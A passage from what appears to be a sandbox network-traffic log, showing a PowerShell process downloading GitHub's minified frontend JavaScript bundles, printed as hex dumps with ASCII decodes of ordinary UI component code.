2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 2d 63 6f 6d 62 6f 62 6f 78 2d 6f 70 74 69 6f 6e 2d 64 65 66 61 75 6c 74 3d 22 74 72 75 65 22 5d 27 29 3b 72 65 74 75 72 6e 21 21 69 26 26 28 22 74 72 75 65 22 3d 3d 3d 69 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 64 69 73 61 62 6c 65 64 22 29 7c 7c 28 69 2e 63 6c 69 63 6b 28 29 2c 21 30 29 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 72 65 74 75 72 6e 21 74 2e 68 69 64 64 65 6e 26 26 21 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 26 26 22 68 69 64 64 65 6e 22 3d 3d 3d 74 2e 74 79 70 65 29 26 26 28 74 2e 6f 66 66 73 65 74 57 69 64 74 68 3e 30 7c 7c 74 2e 6f 66 66 73 65 74 48 65 69 67 68 74 3e 30 29 7d 6c 65 74 20 6e 3d 2f 5c 73 7c 5c 28 7c 5c 5b 2f 3b 6c 65 74 20 43 75 73 74 6f 6d 48 54 4d Data Ascii: -combobox-option-default="true"]');return!!i&&("true"===i.getAttribute("aria-disabled")\|\|(i.click(),!0))}function i(t){return!t.hidden&&!(t instanceof HTMLInputElement&&"hidden"===t.type)&&(t.offsetWidth>0\|\|t.offsetHeight>0)}let n=/\s\|\(\|\[/;let CustomHTM
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 72 69 62 75 74 65 46 69 6c 74 65 72 3a 5b 22 73 74 79 6c 65 22 2c 22 64 69 72 22 5d 7d 29 2c 74 68 69 73 2e 23 69 2e 6f 62 73 65 72 76 65 28 74 29 2c 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 73 63 72 6f 6c 6c 22 2c 74 68 69 73 2e 23 6c 2c 7b 63 61 70 74 75 72 65 3a 21 30 7d 29 2c 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 72 65 73 69 7a 65 22 2c 74 68 69 73 2e 23 6c 2c 7b 63 61 70 74 75 72 65 3a 21 30 7d 29 2c 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 69 6e 70 75 74 22 2c 74 68 69 73 2e 23 68 2c 7b 63 61 70 74 75 72 65 3a 21 30 7d 29 7d 29 7d 64 69 73 63 6f 6e 6e 65 63 74 65 64 43 61 6c 6c 62 61 63 6b 28 29 7b 74 68 69 73 2e 23 6f 3f 2e 72 65 6d 6f 76 65 28 29 2c 74 Data Ascii: ributeFilter:["style","dir"]}),this.#i.observe(t),document.addEventListener("scroll",this.#l,{capture:!0}),window.addEventListener("resize",this.#l,{capture:!0}),t.addEventListener("input",this.#h,{capture:!0})})}disconnectedCallback(){this.#o?.remove(),t
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 2e 23 6e 28 29 7d 29 7d 23 72 28 29 7b 74 68 69 73 2e 23 61 28 74 3d 3e 7b 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 74 2e 76 61 6c 75 65 2c 74 68 69 73 2e 23 70 28 29 7d 29 7d 23 68 3d 28 29 3d 3e 74 68 69 73 2e 23 72 28 29 3b 23 6c 3d 74 3d 3e 7b 74 68 69 73 2e 23 61 28 65 3d 3e 7b 28 74 2e 74 61 72 67 65 74 3d 3d 3d 64 6f 63 75 6d 65 6e 74 7c 7c 74 2e 74 61 72 67 65 74 3d 3d 3d 77 69 6e 64 6f 77 7c 7c 74 2e 74 61 72 67 65 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 4e 6f 64 65 26 26 74 2e 74 61 72 67 65 74 2e 63 6f 6e 74 61 69 6e 73 28 65 29 29 26 26 74 68 69 73 2e 23 6e 28 29 7d 29 7d 7d 3b 6c 65 74 20 6f 3d 5b 22 64 69 72 65 63 74 69 6f 6e 22 2c 22 77 72 69 74 69 6e 67 4d 6f 64 65 22 2c 22 75 6e 69 63 6f 64 65 42 69 64 69 22 2c 22 74 65 78 74 4f Data Ascii: .#n()})}#r(){this.#a(t=>{this.textContent=t.value,this.#p()})}#h=()=>this.#r();#l=t=>{this.#a(e=>{(t.target===document\|\|t.target===window\|\|t.target instanceof Node&&t.target.contains(e))&&this.#n()})}};let o=["direction","writingMode","unicodeBidi","textO
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 69 73 2e 65 6e 64 4f 66 66 73 65 74 29 7d 63 6c 6f 6e 65 43 6f 6e 74 65 6e 74 73 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 23 78 28 29 2e 63 6c 6f 6e 65 43 6f 6e 74 65 6e 74 73 28 29 7d 63 6c 6f 6e 65 52 61 6e 67 65 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 49 6e 70 75 74 52 61 6e 67 65 28 74 68 69 73 2e 23 66 2c 74 68 69 73 2e 73 74 61 72 74 4f 66 66 73 65 74 2c 74 68 69 73 2e 65 6e 64 4f 66 66 73 65 74 29 7d 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 23 78 28 29 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 7d 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 23 78 28 29 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 7d Data Ascii: is.endOffset)}cloneContents(){return this.#x().cloneContents()}cloneRange(){return new InputRange(this.#f,this.startOffset,this.endOffset)}getBoundingClientRect(){return this.#x().getBoundingClientRect()}getClientRects(){return this.#x().getClientRects()}
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 77 6e 29 2c 74 68 69 73 2e 69 6e 70 75 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 62 6c 75 72 22 2c 74 68 69 73 2e 6f 6e 62 6c 75 72 29 7d 64 69 73 6d 69 73 73 4d 65 6e 75 28 29 7b 74 68 69 73 2e 64 65 61 63 74 69 76 61 74 65 28 29 26 26 28 74 68 69 73 2e 6c 6f 6f 6b 42 61 63 6b 49 6e 64 65 78 3d 74 68 69 73 2e 69 6e 70 75 74 2e 73 65 6c 65 63 74 69 6f 6e 45 6e 64 7c 7c 74 68 69 73 2e 6c 6f 6f 6b 42 61 63 6b 49 6e 64 65 78 29 7d 61 63 74 69 76 61 74 65 28 74 2c 65 29 7b 76 61 72 20 69 2c 6e 3b 28 74 68 69 73 2e 69 6e 70 75 74 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 7c 7c 74 68 69 73 2e 69 6e 70 75 74 3d 3d 3d 28 6e 75 6c 6c 3d 3d 3d 28 6e 3d 6e 75 6c 6c 3d 3d 3d 28 69 3d 64 6f 63 75 6d 65 6e 74 Data Ascii: wn),this.input.removeEventListener("blur",this.onblur)}dismissMenu(){this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd\|\|this.lookBackIndex)}activate(t,e){var i,n;(this.input===document.activeElement\|\|this.input===(null===(n=null===(i=document
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 64 65 73 74 72 6f 79 28 29 2c 74 68 69 73 2e 63 6f 6d 62 6f 62 6f 78 3d 6e 75 6c 6c 2c 74 2e 72 65 6d 6f 76 65 28 29 2c 21 30 29 7d 6f 6e 43 6f 6d 6d 69 74 28 7b 74 61 72 67 65 74 3a 74 7d 29 7b 76 61 72 20 65 3b 69 66 28 21 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 29 7c 7c 21 74 68 69 73 2e 63 6f 6d 62 6f 62 6f 78 29 72 65 74 75 72 6e 3b 6c 65 74 20 69 3d 74 68 69 73 2e 6d 61 74 63 68 3b 69 66 28 21 69 29 72 65 74 75 72 6e 3b 6c 65 74 20 6e 3d 74 68 69 73 2e 69 6e 70 75 74 2e 76 61 6c 75 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 69 2e 70 6f 73 69 74 69 6f 6e 2d 69 2e 6b 65 79 2e 6c 65 6e 67 74 68 29 2c 73 3d 74 68 69 73 2e 69 6e 70 75 74 2e 76 61 6c 75 65 2e 73 75 62 73 74 72 69 6e 67 28 69 2e 70 6f 73 69 74 69 6f 6e 2b Data Ascii: destroy(),this.combobox=null,t.remove(),!0)}onCommit({target:t}){var e;if(!(t instanceof HTMLElement)\|\|!this.combobox)return;let i=this.match;if(!i)return;let n=this.input.value.substring(0,i.position-i.key.length),s=this.input.value.substring(i.position+
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 6b 65 79 73 29 29 7b 6c 65 74 20 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 2c 7b 6d 75 6c 74 69 57 6f 72 64 3a 73 2c 6c 6f 6f 6b 42 61 63 6b 49 6e 64 65 78 3a 6f 2c 6c 61 73 74 4d 61 74 63 68 50 6f 73 69 74 69 6f 6e 3a 72 7d 3d 7b 6d 75 6c 74 69 57 6f 72 64 3a 21 31 2c 6c 6f 6f 6b 42 61 63 6b 49 6e 64 65 78 3a 30 2c 6c 61 73 74 4d 61 74 63 68 50 6f 73 69 74 69 6f 6e 3a 6e 75 6c 6c 7d 29 7b 6c 65 74 20 61 3d 74 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 65 2c 69 2d 31 29 3b 69 66 28 2d 31 3d 3d 3d 61 7c 7c 61 3c 6f 29 72 65 74 75 72 6e 3b 69 66 28 73 29 7b 69 66 28 6e 75 6c 6c 21 3d 72 29 7b 69 66 28 72 3d 3d 3d 61 29 72 65 74 75 72 6e 3b 61 3d 72 2d 65 2e 6c 65 6e 67 74 68 7d 69 66 28 22 20 22 3d 3d 3d 74 5b 61 2b 31 5d 26 26 69 3e 3d 61 2b 65 2e 6c 65 Data Ascii: keys)){let o=function(t,e,i,{multiWord:s,lookBackIndex:o,lastMatchPosition:r}={multiWord:!1,lookBackIndex:0,lastMatchPosition:null}){let a=t.lastIndexOf(e,i-1);if(-1===a\|\|a<o)return;if(s){if(null!=r){if(r===a)return;a=r-e.length}if(" "===t[a+1]&&i>=a+e.le

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49738	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:19 UTC	450	OUT	GET /assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-d1a841-8f251a0656e7.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:19 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 23360 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Thu, 19 Sep 2024 22:11:30 GMT ETag: "0x8DCD8F803DFB5F0" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 586246 Date: Mon, 30 Sep 2024 13:50:19 GMT X-Served-By: cache-iad-kjyo7100088-IAD, cache-ewr-kewr1740062-EWR X-Cache: HIT, HIT X-Cache-Hits: 46, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 2ba948f4bfc215028a4cc1589b84ee75ea362c5c
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 66 69 6c 74 65 72 2d 69 6e 70 75 74 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 72 65 6d 6f 74 65 2d 69 6e 70 2d 64 31 61 38 34 31 22 5d 2c 7b 36 32 30 34 34 3a 28 74 2c 65 2c 6e 29 3d 3e 7b 6e 2e 64 28 65 2c 7b 41 3a 28 29 3d 3e 73 7d 29 3b 6c 65 74 20 46 69 6c 74 65 72 49 6e 70 75 74 45 6c 65 6d 65 6e 74 3d 63 6c 61 73 73 20 46 69 6c 74 65 72 49 6e 70 75 74 45 6c 65 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-d1a841"],{62044:(t,e,n)=>{n.d(e,{A:()=>s});let FilterInputElement=class FilterInputEle
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 6f 77 6e 73 22 29 3b 69 66 28 21 73 29 72 65 74 75 72 6e 3b 6c 65 74 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 73 29 3b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 6c 65 74 20 6c 3d 61 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 66 69 6c 74 65 72 2d 6c 69 73 74 22 29 3f 61 3a 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 5b 64 61 74 61 2d 66 69 6c 74 65 72 2d 6c 69 73 74 5d 22 29 3b 69 66 28 21 6c 7c 7c 28 74 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 66 69 6c 74 65 72 2d 69 6e 70 75 74 2d 73 74 61 72 74 22 2c 7b 62 75 62 62 6c 65 73 3a 21 30 7d 29 29 2c 65 26 26 74 2e 63 75 72 72 65 Data Ascii: =t.getAttribute("aria-owns");if(!s)return;let a=document.getElementById(s);if(!a)return;let l=a.hasAttribute("data-filter-list")?a:a.querySelector("[data-filter-list]");if(!l\|\|(t.dispatchEvent(new CustomEvent("filter-input-start",{bubbles:!0})),e&&t.curre
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 45 6c 65 6d 65 6e 74 29 29 7d 2c 32 37 35 35 32 3a 28 74 2c 65 2c 6e 29 3d 3e 7b 6e 2e 64 28 65 2c 7b 41 3a 28 29 3d 3e 61 7d 29 3b 6c 65 74 20 72 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 6c 65 74 20 52 65 6d 6f 74 65 49 6e 70 75 74 45 6c 65 6d 65 6e 74 3d 63 6c 61 73 73 20 52 65 6d 6f 74 65 49 6e 70 75 74 45 6c 65 6d 65 6e 74 20 65 78 74 65 6e 64 73 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 73 75 70 65 72 28 29 3b 6c 65 74 20 74 3d 69 2e 62 69 6e 64 28 6e 75 6c 6c 2c 74 68 69 73 2c 21 30 29 2c 65 3d 7b 63 75 72 72 65 6e 74 51 75 65 72 79 3a 6e 75 6c 6c 2c 6f 6e 69 6e 70 75 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6c 65 74 20 65 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 63 6c 65 61 72 54 69 6d 65 6f Data Ascii: Element))},27552:(t,e,n)=>{n.d(e,{A:()=>a});let r=new WeakMap;let RemoteInputElement=class RemoteInputElement extends HTMLElement{constructor(){super();let t=i.bind(null,this,!0),e={currentQuery:null,oninput:function(t){let e;return function(n){clearTimeo
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 6e 3b 6c 65 74 20 75 3d 6e 65 77 20 55 52 4c 28 63 2c 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2c 68 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 75 2e 73 65 61 72 63 68 29 3b 68 2e 61 70 70 65 6e 64 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 70 61 72 61 6d 22 29 7c 7c 22 71 22 2c 6f 29 2c 75 2e 73 65 61 72 63 68 3d 68 2e 74 6f 53 74 72 69 6e 67 28 29 2c 6c 2e 63 6f 6e 74 72 6f 6c 6c 65 72 3f 6c 2e 63 6f 6e 74 72 6f 6c 6c 65 72 2e 61 62 6f 72 74 28 29 3a 28 74 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 6c 6f 61 64 73 74 61 72 74 22 29 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6c 6f 61 64 69 6e 67 22 2c 22 22 29 29 2c 6c 2e 63 6f 6e 74 72 6f 6c Data Ascii: n;let u=new URL(c,window.location.href),h=new URLSearchParams(u.search);h.append(t.getAttribute("param")\|\|"q",o),u.search=h.toString(),l.controller?l.controller.abort():(t.dispatchEvent(new CustomEvent("loadstart")),t.setAttribute("loading","")),l.control
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 65 6c 65 63 74 6f 72 41 6c 6c 28 27 5b 72 6f 6c 65 3d 22 74 61 62 6c 69 73 74 22 5d 20 5b 72 6f 6c 65 3d 22 74 61 62 22 5d 27 29 29 2e 66 69 6c 74 65 72 28 65 3d 3e 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 26 26 65 2e 63 6c 6f 73 65 73 74 28 74 2e 74 61 67 4e 61 6d 65 29 3d 3d 3d 74 29 7d 6e 2e 64 28 65 2c 7b 41 3a 28 29 3d 3e 54 61 62 43 6f 6e 74 61 69 6e 65 72 45 6c 65 6d 65 6e 74 7d 29 3b 6c 65 74 20 54 61 62 43 6f 6e 74 61 69 6e 65 72 45 6c 65 6d 65 6e 74 3d 63 6c 61 73 73 20 54 61 62 43 6f 6e 74 61 69 6e 65 72 45 6c 65 6d 65 6e 74 20 65 78 74 65 6e 64 73 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 73 75 70 65 72 28 29 2c 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 Data Ascii: electorAll('[role="tablist"] [role="tab"]')).filter(e=>e instanceof HTMLElement&&e.closest(t.tagName)===t)}n.d(e,{A:()=>TabContainerElement});let TabContainerElement=class TabContainerElement extends HTMLElement{constructor(){super(),this.addEventListener
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 74 61 62 2d 63 6f 6e 74 61 69 6e 65 72 2d 63 68 61 6e 67 65 22 2c 7b 62 75 62 62 6c 65 73 3a 21 30 2c 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 2c 64 65 74 61 69 6c 3a 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 61 7d 7d 29 29 29 7b 66 6f 72 28 6c 65 74 20 74 20 6f 66 20 6e 29 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 73 65 6c 65 63 74 65 64 22 2c 22 66 61 6c 73 65 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 22 2d 31 22 29 3b 66 6f 72 28 6c 65 74 20 74 20 6f 66 20 69 29 74 2e 68 69 64 64 65 6e 3d 21 30 2c 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 29 7c 7c 74 2e 68 61 73 41 74 74 72 69 62 75 74 Data Ascii: Event(new CustomEvent("tab-container-change",{bubbles:!0,cancelable:!0,detail:{relatedTarget:a}}))){for(let t of n)t.setAttribute("aria-selected","false"),t.setAttribute("tabindex","-1");for(let t of i)t.hidden=!0,t.hasAttribute("tabindex")\|\|t.hasAttribut
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 3d 6e 3a 65 2e 73 65 74 28 74 2c 6e 29 2c 6e 7d 3b 66 75 6e 63 74 69 6f 6e 20 75 28 74 29 7b 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 21 3d 3d 74 26 26 74 3f 2e 66 6f 63 75 73 28 29 7d 6c 65 74 20 68 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 66 28 74 29 7b 6c 65 74 20 65 3d 74 2e 74 61 72 67 65 74 2c 6e 3d 65 3f 2e 63 6c 6f 73 65 73 74 28 22 62 75 74 74 6f 6e 22 29 3b 69 66 28 21 6e 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 22 74 72 75 65 22 3d 3d 3d 6e 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 6c 65 74 20 72 3d 6e 3f 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 68 6f 77 2d 64 69 61 6c 6f 67 2d 69 Data Ascii: =n:e.set(t,n),n};function u(t){document.activeElement!==t&&t?.focus()}let h=[];function f(t){let e=t.target,n=e?.closest("button");if(!n\|\|n.hasAttribute("disabled")\|\|"true"===n.getAttribute("aria-disabled"))return;let r=n?.getAttribute("data-show-dialog-i
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 65 6e 74 57 69 64 74 68 7d 70 78 60 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 68 69 64 64 65 6e 22 2c 63 28 74 68 69 73 2c 72 2c 22 61 22 2c 73 29 3f 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 4f 76 65 72 6c 61 79 2d 2d 68 69 64 64 65 6e 22 29 2c 63 28 74 68 69 73 2c 69 2c 22 66 22 29 2e 73 69 67 6e 61 6c 2e 61 62 6f 72 74 65 64 26 26 64 28 74 68 69 73 2c 69 2c 6e 65 77 20 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 2c 22 66 22 29 2c 28 30 2c 6c 2e 69 45 29 28 74 68 69 73 2c 74 68 69 73 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 5b 61 75 74 6f 66 6f 63 75 73 5d 22 29 2c 63 28 74 68 69 73 2c 69 2c 22 66 22 29 2e 73 69 67 6e 61 6c 29 2c 68 2e 70 75 73 68 28 74 68 69 73 29 29 3b 65 6c 73 Data Ascii: entWidth}px`,document.body.style.overflow="hidden",c(this,r,"a",s)?.classList.remove("Overlay--hidden"),c(this,i,"f").signal.aborted&&d(this,i,new AbortController,"f"),(0,l.iE)(this,this.querySelector("[autofocus]"),c(this,i,"f").signal),h.push(this));els
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 45 6e 74 65 72 22 3a 74 2e 74 61 72 67 65 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6c 6f 73 65 2d 64 69 61 6c 6f 67 2d 69 64 22 29 3d 3d 3d 74 68 69 73 2e 69 64 26 26 74 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 7d 7d 2c 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6c 65 6d 65 6e 74 73 2e 67 65 74 28 22 6d 6f 64 61 6c 2d 64 69 61 6c 6f 67 22 29 7c 7c 28 77 69 6e 64 6f 77 2e 4d 6f 64 61 6c 44 69 61 6c 6f 67 45 6c 65 6d 65 6e 74 3d 4d 6f 64 61 6c 44 69 61 6c 6f 67 45 6c 65 6d 65 6e 74 2c 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6c 65 6d 65 6e 74 73 2e 64 65 66 69 6e 65 28 22 6d 6f 64 61 6c Data Ascii: ventDefault(),t.stopPropagation();break;case"Enter":t.target.getAttribute("data-close-dialog-id")===this.id&&t.stopPropagation()}},window.customElements.get("modal-dialog")\|\|(window.ModalDialogElement=ModalDialogElement,window.customElements.define("modal
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 2c 65 29 7b 74 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 65 3d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 66 6f 72 28 76 61 72 20 6e 3d 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 30 3b 72 3c 6e 3b 72 2b 3d 31 29 69 66 28 30 3d 3d 3d 28 69 3d 65 2e 69 6e 64 65 78 4f 66 28 74 5b 72 5d 2c 69 29 2b 31 29 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 7d 2c 39 34 31 34 37 3a 28 74 2c 65 2c 6e 29 3d 3e 7b 6e 2e 64 28 65 2c 7b 54 3a 28 29 3d 3e 69 6e 63 6c 75 64 65 5f 66 72 61 67 6d 65 6e 74 5f 65 6c 65 6d 65 6e 74 5f 49 6e 63 6c 75 64 65 46 72 61 67 6d 65 6e 74 45 6c 65 6d 65 6e 74 7d 29 3b 76 61 72 20 72 2c 69 2c 73 2c 61 2c 6c 2c 6f 2c 63 2c 64 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: rn a}function o(t,e){t=t.toLowerCase(),e=e.toLowerCase();for(var n=t.length,r=0,i=0;r<n;r+=1)if(0===(i=e.indexOf(t[r],i)+1))return!1;return!0}},94147:(t,e,n)=>{n.d(e,{T:()=>include_fragment_element_IncludeFragmentElement});var r,i,s,a,l,o,c,d,u=function(t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49740	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:19 UTC	450	OUT	GET /assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-f4b251-f7c3b6081b19.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:19 UTC	695	IN	HTTP/1.1 200 OK Connection: close Content-Length: 14250 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Fri, 06 Sep 2024 21:21:21 GMT ETag: "0x8DCCEB9DAE401E8" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1713174 Date: Mon, 30 Sep 2024 13:50:19 GMT X-Served-By: cache-iad-kjyo7100107-IAD, cache-ewr-kewr1740034-EWR X-Cache: HIT, HIT X-Cache-Hits: 22, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: ff064f08cee940ef0d3621dfcbba998a768a8f88
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 61 74 61 6c 79 73 74 5f 6c 69 62 5f 69 6e 64 65 78 5f 6a 73 2d 66 34 62 32 35 31 22 2c 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 5f 69 